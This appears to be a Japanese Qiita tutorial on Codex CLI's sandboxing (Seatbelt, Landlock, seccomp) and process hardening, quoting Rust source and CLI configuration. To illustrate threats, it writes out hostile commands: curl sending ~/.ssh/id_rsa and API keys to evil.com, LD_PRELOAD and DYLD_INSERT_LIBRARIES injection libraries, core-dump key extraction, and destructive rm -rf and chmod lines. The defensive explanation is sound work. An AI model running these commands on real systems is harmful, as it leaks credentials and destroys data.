2
2

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

Codex CLI 完全ガイド: サンドボックス&セキュリティハードニング

Last updated at Posted at 2025-10-02

シリーズ記事

はじめに

AI エージェントにコマンド実行権限を与える。便利ではありますが、恐ろしいことでもあります。

想像してみてください。あなたが「プロジェクトをクリーンアップして」と指示したエージェントが、誤って rm -rf / を実行してしまったら?あるいは、意図せずプロダクションデータベースに接続して機密情報を外部に送信してしまったら?

Codex CLI は、こうした悪夢のシナリオを防ぐため、多層防御のサンドボックス機構を実装しています。本記事では、その内部構造をソースコードレベルで詳解し、あなたのシステムがどのように守られているかを明らかにします。

⚠️ 注意: 本記事の内容は執筆時点(2025年1月時点)のものです。最新の実装は公式リポジトリをご確認ください。


1. なぜサンドボックスが必要なのか?

1.1 AI エージェントのリスク

AI エージェントは強力ですが、以下のリスクを伴います:

意図しない破壊的操作

# エージェントが理解を誤って実行する可能性
$ rm -rf /important/data
$ DROP DATABASE production;
$ git push --force origin main

機密情報の漏洩

# 環境変数やファイルから API キーを抽出して外部送信
$ curl https://evil.com -d "$(cat ~/.ssh/id_rsa)"

システムへの不正アクセス

# 権限昇格や設定変更
$ sudo systemctl disable firewall
$ chmod 777 /etc/passwd

1.2 Codex のセキュリティ哲学

Codex は Defense in Depth(多層防御) の原則に基づいています:

1.3 プラットフォーム別実装の概要

プラットフォーム 主要技術 特徴 実装クレート
macOS Seatbelt カーネルレベルのポリシー強制 codex-core/src/seatbelt.rs
Linux Landlock + seccomp ファイルシステムとシステムコール制御 linux-sandbox/src/landlock.rs
Windows (未実装) Docker サンドボックス推奨 -

2. サンドボックスポリシーの 3 つのモード

2.1 ReadOnly:最も安全なモード

使用シーン:コードレビュー、静的解析、ドキュメント生成

codex --sandbox read-only "このコードベースのセキュリティ脆弱性を報告して"

制限内容

  • ✅ ファイル読み取り:全て可能
  • ❌ ファイル書き込み:完全に禁止
  • ❌ ネットワーク:完全に禁止
  • ❌ コマンド実行:読み取り専用コマンドのみ

実際の動作

# ✅ 許可される
$ cat README.md
$ find . -name "*.rs"
$ grep -r "TODO" src/

# ❌ 拒否される
$ echo "test" > file.txt     # Permission denied
$ curl https://api.example.com  # Network unreachable
$ npm install                 # 書き込みが必要なため失敗

2.2 WorkspaceWrite:デフォルトモード

使用シーン:開発作業、テスト実行、ファイル編集

codex --sandbox workspace-write "テストを実行して失敗したら修正して"

制限内容

  • ✅ ファイル読み取り:全て可能
  • ✅ ファイル書き込み:cwd/tmp のみ
  • ⚠️ ネットワーク:デフォルトで無効(設定で有効化可能)
  • ✅ コマンド実行:サンドボックス内で可能

ポリシー定義protocol.rs より):

pub fn new_workspace_write_policy() -> Self {
    SandboxPolicy::WorkspaceWrite {
        writable_roots: vec![],        // デフォルトは空(cwd のみ)
        network_access: false,          // ネットワーク無効
        exclude_tmpdir_env_var: false,  // TMPDIR を書き込み可能に含める
        exclude_slash_tmp: false,       // /tmp を書き込み可能に含める
    }
}

カスタマイズ例

# ネットワークを有効化(npm install などで必要)
codex exec \
  --sandbox workspace-write \
  -c 'sandbox_workspace_write={network_access=true}' \
  "依存関係をインストールして"

# 追加の書き込み可能ディレクトリ
codex exec \
  --sandbox workspace-write \
  -c 'sandbox_workspace_write={
    writable_roots=[
      "~/.cache/pip",
      "~/.npm"
    ]
  }' \
  "Python と Node.js のパッケージを更新"

2.3 DangerFullAccess:完全な自由と責任

使用シーン:信頼できるスクリプト、システム管理タスク

codex --sandbox danger-full-access "システム全体のログをローテーション"

⚠️ 警告

  • このモードは 全ての制限を解除 します
  • 本番環境では 絶対に使用しない でください
  • 使用前に必ずコードをレビューしてください

制限内容

  • ✅ ファイル読み取り:制限なし
  • ✅ ファイル書き込み:制限なし
  • ✅ ネットワーク:制限なし
  • ✅ コマンド実行:制限なし

3. macOS: Seatbelt の内部構造

3.1 Seatbelt とは何か?

Seatbelt は macOS のカーネルレベルサンドボックス機構です。Apple の全てのシステムアプリ(Safari、Mail、Preview など)も Seatbelt で保護されています。

仕組み

  1. SBPL (Sandbox Profile Language) でポリシーを記述
  2. sandbox-exec がポリシーをカーネルに登録
  3. カーネルが全てのシステムコールを監視・制御

3.2 Codex の Seatbelt 実装

  • /usr/bin/sandbox-exec の絶対パスを利用し、PATH 書き換え攻撃を防止(seatbelt.rs)。
  • SBPL(Sandbox Profile Language)を動的生成し、読み書き/ネットワーク権限を細かく制御。
  • .git ディレクトリなど重要領域は自動で読み取り専用に設定。
  • 偽 sandbox-exec や勝手なネットワーク通信など、典型的な攻撃ベクトルを遮断。

3.3 動的ポリシー生成の魔法

Codex は実行時に 動的に SBPL ポリシーを生成 します。これにより、柔軟かつ安全な制御が可能になります。

ポリシー生成の流れ

3.4 .git ディレクトリの自動保護

Git リポジトリの .git ディレクトリは 常に読み取り専用 として保護されます。

なぜ重要か?

エージェントが以下のような操作を誤って実行する可能性があります:

# 危険な操作例
$ rm -rf .git/                        # リポジトリ破壊
$ echo "malicious" > .git/hooks/pre-commit  # バックドア
$ git filter-branch --force           # 履歴改変

Codex の保護メカニズム

// .git ディレクトリを自動検出して除外リストに追加
for (index, wr) in writable_roots.iter().enumerate() {
    let canonical_root = wr.root.canonicalize()?;
    
    if wr.read_only_subpaths.is_empty() {
        // .git がない場合
        writable_folder_policies.push(
            format!("(subpath (param \"WRITABLE_ROOT_{index}\"))")
        );
    } else {
        // .git がある場合、除外ルールを追加
        let mut require_parts = vec![
            format!("(subpath (param \"WRITABLE_ROOT_{index}\"))")
        ];
        
        for (subpath_index, ro) in wr.read_only_subpaths.iter().enumerate() {
            let ro_param = format!("WRITABLE_ROOT_{index}_RO_{subpath_index}");
            require_parts.push(
                format!("(require-not (subpath (param \"{ro_param}\")))")
            );
        }
        
        // (require-all (subpath /workspace) (require-not (subpath /workspace/.git)))
        let policy = format!("(require-all {} )", require_parts.join(" "));
        writable_folder_policies.push(policy);
    }
}

生成される SBPL ポリシー例

(allow file-write*
  (require-all
    (subpath (param "WRITABLE_ROOT_0"))  ; /path/to/workspace
    (require-not (subpath (param "WRITABLE_ROOT_0_RO_0")))  ; /path/to/workspace/.git は除外
  )
)

3.5 実際の動作確認

Seatbelt の動作をテスト

# デバッグモードで Seatbelt を確認
codex debug seatbelt --sandbox workspace-write -- ls -la /etc

# 期待される動作
# ✅ 読み取り成功(/etc の内容が表示される)

codex debug seatbelt --sandbox workspace-write -- touch /etc/test

# 期待される動作
# ❌ Operation not permitted

ポリシー違反時のログ

sandbox-exec: Operation not permitted
Seatbelt policy violation:
  Process: touch (PID 12345)
  Operation: file-write
  Path: /etc/test
  Policy: (deny file-write* (subpath "/etc"))

4. Linux: Landlock + seccomp の二重防御

4.1 なぜ 2 つの技術を組み合わせるのか?

Linux には macOS の Seatbelt のような統一されたサンドボックス機構がありません。そのため、Codex は以下の 2 つを組み合わせます:

技術 役割 カバー範囲
Landlock ファイルシステムアクセス制御 どのパスに読み書きできるか
seccomp システムコール制御 どのシステムコールを呼べるか

組み合わせの効果

4.2 Landlock: ファイルシステムの門番

Landlock の仕組み

fn install_filesystem_landlock_rules_on_current_thread(
    writable_roots: Vec<PathBuf>
) -> Result<()> {
    let abi = ABI::V5;  // Landlock API バージョン 5
    let access_rw = AccessFs::from_all(abi);  // 読み書き権限
    let access_ro = AccessFs::from_read(abi); // 読み取り専用
    
    let mut ruleset = Ruleset::default()
        .set_compatibility(CompatLevel::BestEffort)  // 古いカーネルでも動作
        .handle_access(access_rw)?
        .create()?
        
        // ステップ 1: ファイルシステム全体を読み取り専用に
        .add_rules(landlock::path_beneath_rules(&["/"], access_ro))?
        
        // ステップ 2: /dev/null は読み書き可能に(多くのツールが必要とする)
        .add_rules(landlock::path_beneath_rules(&["/dev/null"], access_rw))?
        
        // ステップ 3: 新しい特権を取得できないように
        .set_no_new_privs(true);
    
    // ステップ 4: 指定されたディレクトリを読み書き可能に
    if !writable_roots.is_empty() {
        ruleset = ruleset.add_rules(
            landlock::path_beneath_rules(&writable_roots, access_rw)
        )?;
    }
    
    // ステップ 5: ルールセットを現在のスレッドに適用
    let status = ruleset.restrict_self()?;
    
    // 確認: ルールが本当に適用されたか?
    if status.ruleset == landlock::RulesetStatus::NotEnforced {
        return Err(CodexErr::Sandbox(SandboxErr::LandlockRestrict));
    }
    
    Ok(())
}

動作の可視化

4.3 seccomp: システムコールのファイアウォール

seccomp の仕組み

seccomp (Secure Computing Mode) は、プロセスが実行できるシステムコールを制限します。Codex は BPF (Berkeley Packet Filter) プログラムでネットワーク関連のシステムコールをブロックします。

ブロックされるシステムコール

fn install_network_seccomp_filter_on_current_thread() -> Result<(), SandboxErr> {
    let mut rules: BTreeMap<i64, Vec<SeccompRule>> = BTreeMap::new();
    
    // ネットワーク関連システムコールを全てブロック
    let blocked_syscalls = vec![
        libc::SYS_connect,      // サーバーへの接続
        libc::SYS_accept,       // 接続の受け入れ
        libc::SYS_accept4,      // accept の拡張版
        libc::SYS_bind,         // ポートのバインド
        libc::SYS_listen,       // リスニング開始
        libc::SYS_sendto,       // データ送信
        libc::SYS_sendmsg,      // メッセージ送信
        libc::SYS_sendmmsg,     // 複数メッセージ送信
        libc::SYS_recvmsg,      // メッセージ受信
        libc::SYS_recvmmsg,     // 複数メッセージ受信
        libc::SYS_getsockopt,   // ソケットオプション取得
        libc::SYS_setsockopt,   // ソケットオプション設定
        libc::SYS_ptrace,       // デバッガアタッチ(セキュリティリスク)
    ];
    
    for syscall in blocked_syscalls {
        rules.insert(syscall, vec![]);  // 空ルール = 無条件拒否
    }
    
    // 例外: AF_UNIX ドメインソケットのみ許可
    // (プロセス間通信で必要なため)
    let unix_only_rule = SeccompRule::new(vec![
        SeccompCondition::new(
            0,                          // 第1引数(domain)
            SeccompCmpArgLen::Dword,
            SeccompCmpOp::Ne,           // 不一致なら拒否
            libc::AF_UNIX as u64,       // AF_UNIX 以外を拒否
        )?
    ])?;
    
    rules.insert(libc::SYS_socket, vec![unix_only_rule.clone()]);
    rules.insert(libc::SYS_socketpair, vec![unix_only_rule]);
    
    // BPF プログラムを生成
    let filter = SeccompFilter::new(
        rules,
        SeccompAction::Allow,                      // デフォルト: 許可
        SeccompAction::Errno(libc::EPERM as u32),  // ルール一致時: EPERM を返す
        target_arch(),
    )?;
    
    let prog: BpfProgram = filter.try_into()?;
    
    // カーネルに BPF プログラムを登録
    apply_filter(&prog)?;
    
    Ok(())
}

fn target_arch() -> TargetArch {
    if cfg!(target_arch = "x86_64") {
        TargetArch::x86_64
    } else if cfg!(target_arch = "aarch64") {
        TargetArch::aarch64
    } else {
        panic!("Unsupported architecture for seccomp");
    }
}

重要な設計判断

💡 なぜ recvfrom は許可するのか?

// 注意: recvfrom は許可
// 理由: cargo clippy などのツールが内部で socketpair を使用するため
// deny_syscall(libc::SYS_recvfrom);  ← コメントアウトされている

多くの開発ツールは、子プロセスとの通信に socketpair() + recvfrom() を使用します。これを完全にブロックすると、cargonpmpip などが動作しなくなります。

seccomp 違反時の動作

$ codex exec --sandbox workspace-write -- curl https://example.com

# 期待される出力
curl: (7) Failed to connect() to example.com: Operation not permitted

# strace で確認
$ strace -e connect curl https://example.com
connect(3, {...}, 16) = -1 EPERM (Operation not permitted)

4.4 Linux サンドボックスの適用タイミング

pub(crate) fn apply_sandbox_policy_to_current_thread(
    sandbox_policy: &SandboxPolicy,
    cwd: &Path,
) -> Result<()> {
    // 順番が重要!
    
    // 1. ネットワーク制限を先に適用
    // (一度 seccomp を適用すると、新しいルールを追加できないため)
    if !sandbox_policy.has_full_network_access() {
        install_network_seccomp_filter_on_current_thread()?;
    }
    
    // 2. ファイルシステム制限を適用
    if !sandbox_policy.has_full_disk_write_access() {
        let writable_roots = sandbox_policy
            .get_writable_roots_with_cwd(cwd)
            .into_iter()
            .map(|wr| wr.root)
            .collect();
        install_filesystem_landlock_rules_on_current_thread(writable_roots)?;
    }
    
    // TODO: 読み取り制限の実装
    // 現在は全ファイルシステムが読み取り可能
    
    Ok(())
}

5. プロセスハードニング:起動前の防御

サンドボックスとは別に、Codex はプロセス起動前に 追加のセキュリティ対策 を自動適用します。

5.1 pre-main ハードニングとは?

/// main() 関数が実行される前に自動実行される
#[ctor::ctor]
#[cfg(not(debug_assertions))]  // デバッグビルドでは無効
fn pre_main_hardening() {
    codex_process_hardening::pre_main_hardening();
}

💡 #[ctor::ctor] の魔法

このアトリビュートは、main() よりも前に関数を実行します:

プロセス起動
    ↓
shared library 初期化
    ↓
#[ctor::ctor] 関数実行  ← ここで pre_main_hardening()
    ↓
main() 関数実行

5.2 Linux ハードニング:3 つの防御策

pub(crate) fn pre_main_hardening_linux() {
    // ──────────────────────────────────────
    // 防御策 1: デバッガアタッチの無効化
    // ──────────────────────────────────────
    let ret = unsafe { libc::prctl(libc::PR_SET_DUMPABLE, 0, 0, 0, 0) };
    if ret != 0 {
        eprintln!(
            "ERROR: prctl(PR_SET_DUMPABLE, 0) failed: {}",
            std::io::Error::last_os_error()
        );
        std::process::exit(PRCTL_FAILED_EXIT_CODE);
    }
    
    // ──────────────────────────────────────
    // 防御策 2: コアダンプの無効化
    // ──────────────────────────────────────
    set_core_file_size_limit_to_zero();
    
    // ──────────────────────────────────────
    // 防御策 3: 危険な環境変数の削除
    // ──────────────────────────────────────
    let ld_keys: Vec<String> = std::env::vars()
        .filter_map(|(key, _)| {
            if key.starts_with("LD_") {
                Some(key)
            } else {
                None
            }
        })
        .collect();
    
    for key in ld_keys {
        unsafe {
            std::env::remove_var(key);
        }
    }
}

各防御策の詳細

防御策 1: PR_SET_DUMPABLE

攻撃シナリオ

# 攻撃者が別プロセスから Codex にアタッチ
$ gdb -p $(pgrep codex)
(gdb) print api_key
$1 = "sk-...secret..."

防御方法

PR_SET_DUMPABLE を 0 に設定すると、以下が無効化されます:

  • ptrace() によるアタッチ
  • /proc/[pid]/mem へのアクセス
  • コアダンプの生成

防御策 2: RLIMIT_CORE

攻撃シナリオ

# Codex をクラッシュさせてコアダンプを取得
$ kill -SIGSEGV $(pgrep codex)
$ ls -lh core.*
-rw------- 1 user user 2.3G Dec 1 12:34 core.12345

# コアダンプから機密情報を抽出
$ strings core.12345 | grep -i "api"
OPENAI_API_KEY=sk-...secret...

防御方法

fn set_core_file_size_limit_to_zero() {
    let rlim = libc::rlimit {
        rlim_cur: 0,  // 現在の制限
        rlim_max: 0,  // 最大制限
    };
    
    let ret = unsafe { libc::setrlimit(libc::RLIMIT_CORE, &rlim) };
    if ret != 0 {
        eprintln!("ERROR: setrlimit(RLIMIT_CORE) failed");
        std::process::exit(SET_RLIMIT_CORE_FAILED_EXIT_CODE);
    }
}

防御策 3: LD_* 環境変数の削除

攻撃シナリオ

# 悪意あるライブラリを注入
$ cat > evil.so << 'EOF'
#include <stdio.h>
void __attribute__((constructor)) init() {
    system("curl https://evil.com -d \"$(env | grep API)\"");
}
EOF

$ gcc -shared -fPIC evil.so -o evil.so
$ LD_PRELOAD=./evil.so codex "テストを実行"
# → API キーが evil.com に送信される

防御方法

// LD_PRELOAD, LD_LIBRARY_PATH など全ての LD_* を削除
let ld_keys: Vec<String> = std::env::vars()
    .filter_map(|(key, _)| key.starts_with("LD_").then_some(key))
    .collect();

for key in ld_keys {
    unsafe { std::env::remove_var(key); }
}

💡 MUSL ビルドの追加防御

公式の Codex リリースは MUSL でビルドされており、LD_PRELOAD既に無視されます。しかし、念のため明示的に削除します(Defense in Depth)。

5.3 macOS ハードニング:デバッガとライブラリ置換の防御

pub(crate) fn pre_main_hardening_macos() {
    // ──────────────────────────────────────
    // 防御策 1: PT_DENY_ATTACH
    // ──────────────────────────────────────
    let ret = unsafe { 
        libc::ptrace(libc::PT_DENY_ATTACH, 0, std::ptr::null_mut(), 0) 
    };
    if ret == -1 {
        eprintln!(
            "ERROR: ptrace(PT_DENY_ATTACH) failed: {}",
            std::io::Error::last_os_error()
        );
        std::process::exit(PTRACE_DENY_ATTACH_FAILED_EXIT_CODE);
    }
    
    // ──────────────────────────────────────
    // 防御策 2: コアダンプの無効化
    // ──────────────────────────────────────
    set_core_file_size_limit_to_zero();
    
    // ──────────────────────────────────────
    // 防御策 3: DYLD_* 環境変数の削除
    // ──────────────────────────────────────
    let dyld_keys: Vec<String> = std::env::vars()
        .filter_map(|(key, _)| key.starts_with("DYLD_").then_some(key))
        .collect();
    
    for key in dyld_keys {
        unsafe { std::env::remove_var(key); }
    }
}

macOS 固有の攻撃ベクトル

# DYLD_INSERT_LIBRARIES による攻撃
$ cat > evil.dylib << 'EOF'
__attribute__((constructor))
void init() {
    system("osascript -e 'do shell script \"env\" > /tmp/env.txt'");
}
EOF

$ clang -dynamiclib evil.c -o evil.dylib
$ DYLD_INSERT_LIBRARIES=./evil.dylib codex "テスト"
# → 環境変数が /tmp/env.txt に保存される

6. CLI からのサンドボックス制御

6.1 基本的な指定方法

# 最も安全
codex --sandbox read-only "コードレビューして"

# バランス型(デフォルト)
codex --sandbox workspace-write "テストを実行"

# 完全な自由(注意)
codex --sandbox danger-full-access "システム設定を変更"

6.2 ネットワークアクセスの有効化

シーン 1: npm install が必要

codex exec \
  --sandbox workspace-write \
  -c 'sandbox_workspace_write={network_access=true}' \
  "package.json の依存関係をインストール"

シーン 2: MCP サーバー起動

codex exec \
  --sandbox workspace-write \
  -c 'sandbox_workspace_write={
    network_access=true,
    writable_roots=["~/.cache/uv", "~/.uv"]
  }' \
  "uvx で MCP サーバーを起動"

6.3 追加の書き込み可能ディレクトリ

シーン: Python と Node.js のキャッシュ

codex exec \
  --sandbox workspace-write \
  -c 'sandbox_workspace_write={
    network_access=true,
    writable_roots=[
      "~/.cache/pip",
      "~/.npm",
      "~/.cache/yarn"
    ]
  }' \
  "全ての依存関係を最新化"

6.4 設定ファイルでのデフォルト指定

~/.codex/config.toml

# グローバルデフォルト
[sandbox_workspace_write]
network_access = false
writable_roots = []

# プロファイル: Web 開発
[profiles.webdev.sandbox_workspace_write]
network_access = true
writable_roots = [
  "~/.npm",
  "~/.cache/yarn",
  "~/. config/yarn"
]

# プロファイル: Python 開発
[profiles.python.sandbox_workspace_write]
network_access = true
writable_roots = [
  "~/.cache/pip",
  "~/.cache/uv",
  "~/.virtualenvs"
]

使用

# Web 開発プロファイル
codex --profile webdev "React アプリを作成"

# Python 開発プロファイル
codex --profile python "Django プロジェクトをセットアップ"

7. 危険操作の実例と対策

7.1 ケーススタディ 1: npm install での失敗

エラー

$ codex exec --sandbox workspace-write -- "npm install"

Error: EACCES: permission denied, mkdir '/Users/user/.npm/_cacache'

原因

npm は ~/.npm/ にキャッシュを書き込もうとしますが、サンドボックスで許可されていません。

解決策

codex exec \
  --sandbox workspace-write \
  -c 'sandbox_workspace_write={
    network_access=true,
    writable_roots=["~/.npm"]
  }' \
  -- "npm install"

7.2 ケーススタディ 2: データベースへの意図しない接続

危険なプロンプト

codex --sandbox danger-full-access "本番データベースのユーザーテーブルをクリーンアップ"

何が起こるか

  1. エージェントが psql コマンドを実行
  2. .pgpass から本番データベースの認証情報を読み取る
  3. DELETE FROM users WHERE last_login < '2020-01-01'; を実行
  4. 数万件のユーザーデータが削除される

対策 1: 環境分離

# 開発用の設定ファイルを使用
codex exec \
  --sandbox workspace-write \
  -c 'sandbox_workspace_write={network_access=false}' \
  --env-file .env.dev \
  "データベースをクリーンアップ"

対策 2: 読み取り専用モード

# まず読み取り専用で確認
codex --sandbox read-only "どのユーザーが削除対象か確認"

# 確認後、手動で実行

7.3 ケーススタディ 3: 意図しない git push --force

危険なシーン

ユーザー: "コミット履歴をきれいにして"
エージェント: git rebase -i HEAD~10
          → コンフリクトが発生
エージェント: git rebase --abort
          → リベースを中止
エージェント: git filter-branch ...
          → 履歴を書き換え
エージェント: git push --force origin main
          → チーム全員の履歴を破壊

Codex の保護

// .git ディレクトリは常に保護されている
// git コマンドは実行できるが、.git/ への直接書き込みは不可

// ✅ 許可される
$ git commit -m "update"
$ git push origin main

// ❌ 拒否される
$ rm -rf .git/
$ echo "evil" > .git/hooks/pre-commit

ただし、git コマンド自体は実行できるため、以下の対策が必要:

対策

# 承認モードを使用
codex --ask-for-approval on-request "コミット履歴を整理"

# git push が必要な場合、ユーザーに確認を求める

8. デバッグとトラブルシューティング

8.1 サンドボックス動作の可視化

macOS: システムログでSeatbelt違反を確認

# リアルタイムでサンドボックス違反を監視
$ log stream --predicate 'process == "sandbox-exec"' --level debug

# 実行
$ codex debug seatbelt --sandbox workspace-write -- touch /etc/test

# ログ出力
Sandbox: touch(12345) deny(1) file-write-create /etc/test

Linux: strace で syscall 拒否を確認

$ strace -e trace=connect,bind codex exec --sandbox workspace-write -- curl https://example.com

connect(3, {sa_family=AF_INET, ...}, 16) = -1 EPERM (Operation not permitted)

8.2 よくあるエラーと解決方法

エラー 1: "Landlock ruleset not enforced"

原因: Linux カーネルが Landlock 未対応(< 5.13)

確認

$ uname -r
5.10.0-generic  # ← 5.13 未満

$ grep CONFIG_SECURITY_LANDLOCK /boot/config-$(uname -r)
# CONFIG_SECURITY_LANDLOCK is not set

解決策

# オプション 1: カーネルアップグレード
$ sudo apt update && sudo apt upgrade linux-generic

# オプション 2: Docker サンドボックス使用
$ cd codex-cli
$ ./scripts/run_in_container.sh codex "テストを実行"

エラー 2: "Permission denied" (予期しない)

デバッグ手順

# 1. 詳細ログを有効化
$ RUST_LOG=debug codex exec --sandbox workspace-write -- touch /path/to/file

# 2. どのパスが拒否されたか確認
# ログに以下のような出力が表示される
[DEBUG codex_core::landlock] Attempted write to: /path/to/file
[DEBUG codex_core::landlock] Allowed roots: ["/workspace", "/tmp"]
[ERROR codex_core::landlock] Path not in allowed roots

# 3. 必要なパスを writable_roots に追加
$ codex exec \
    -c 'sandbox_workspace_write={writable_roots=["/path/to"]}' \
    -- touch /path/to/file

エラー 3: "Network unreachable" (npm install で)

原因: network_access=false のまま npm を実行

解決

# ネットワークを有効化
codex exec \
  -c 'sandbox_workspace_write={
    network_access=true,
    writable_roots=["~/.npm"]
  }' \
  -- npm install

8.3 サンドボックステストツール

Codex は debug サブコマンドでサンドボックスの動作を検証できます:

# macOS: Seatbelt テスト
codex debug seatbelt \
  --sandbox workspace-write \
  -- bash -c 'echo test > /tmp/ok && echo test > /etc/fail'

# 期待される出力
# /tmp/ok への書き込み: 成功
# /etc/fail への書き込み: Operation not permitted

# Linux: Landlock テスト
codex debug landlock \
  --sandbox workspace-write \
  -- bash -c 'cat /etc/passwd > /dev/null && touch /etc/test'

# 期待される出力
# /etc/passwd の読み取り: 成功
# /etc/test の作成: Permission denied

9. ベストプラクティス集

9.1 サンドボックス設定の判断フロー

9.2 推奨設定パターン

パターン 1: コードレビュー

codex --sandbox read-only \
  "このPRのセキュリティリスクを分析して報告"

パターン 2: テスト実行(ネットワーク不要)

codex exec \
  --sandbox workspace-write \
  "pytest を実行してカバレッジレポート生成"

パターン 3: パッケージインストール

codex exec \
  --sandbox workspace-write \
  -c 'sandbox_workspace_write={
    network_access=true,
    writable_roots=["~/.cache/pip", "~/.npm"]
  }' \
  "requirements.txt の依存関係をインストール"

パターン 4: ドキュメント生成

codex --sandbox workspace-write \
  "コードからAPI ドキュメントを生成して docs/ に保存"

9.3 CI/CD での使用

GitHub Actions 例

name: Codex Security Scan

on: [pull_request]

jobs:
  security-scan:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
      
      - name: Install Codex
        run: npm install -g @openai/codex
      
      - name: Security Analysis (Read-Only)
        run: |
          codex exec \
            --sandbox read-only \
            --experimental-json \
            "セキュリティ脆弱性をスキャンして report.json に保存" \
            > security-report.json
        env:
          OPENAI_API_KEY: ${{ secrets.OPENAI_API_KEY }}
      
      - name: Upload Report
        uses: actions/upload-artifact@v3
        with:
          name: security-report
          path: security-report.json

重要な注意点

  • CI では 常に read-only から始める
  • ネットワークアクセスは最小限に
  • 書き込みは成果物ディレクトリのみ許可
  • API キーは GitHub Secrets で管理

10. まとめ

10.1 サンドボックスの階層構造

レベル 5: ユーザー承認
         ↑
レベル 4: ファイルシステム制御(Landlock / Seatbelt)
         ↑
レベル 3: ネットワーク制御(seccomp)
         ↑
レベル 2: システムコール制限(seccomp BPF)
         ↑
レベル 1: プロセスハードニング(pre-main)

10.2 セキュリティのトレードオフ

モード 安全性 柔軟性 推奨用途
read-only ⭐⭐⭐⭐⭐ コードレビュー、分析
workspace-write ⭐⭐⭐⭐ ⭐⭐⭐ 開発作業、テスト
workspace-write + network ⭐⭐⭐ ⭐⭐⭐⭐ パッケージ管理、MCP
danger-full-access ⭐⭐⭐⭐⭐ システム管理(慎重に)

10.3 重要なポイント

デフォルトで安全
WorkspaceWrite + ネットワーク無効が基本設定

.git は常に保護
リポジトリ破壊のリスクを自動回避

多層防御
単一の防御機構に依存しない

プラットフォーム最適化
各 OS の最適な技術を活用

柔軟な設定
タスクに応じて権限を調整可能

10.4 次のステップ

10.5 参考リンク

2
2
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
2
2

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?